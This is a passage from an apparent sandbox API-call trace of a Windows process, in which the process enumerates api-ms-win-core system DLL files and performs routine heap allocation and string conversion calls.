(HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.148] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x1dc288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.148] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1dc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.148] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.148] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1dc288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0164.148] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.149] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x1dc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.149] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1dc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.149] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0164.149] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.149] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.150] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1dc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.150] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x1dc288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.150] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.150] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0164.150] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x1dc120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.151] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x1dc288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.151] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1dc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.151] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.151] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0164.151] RtlAllocateHeap (HeapHandle=0x1d0000, 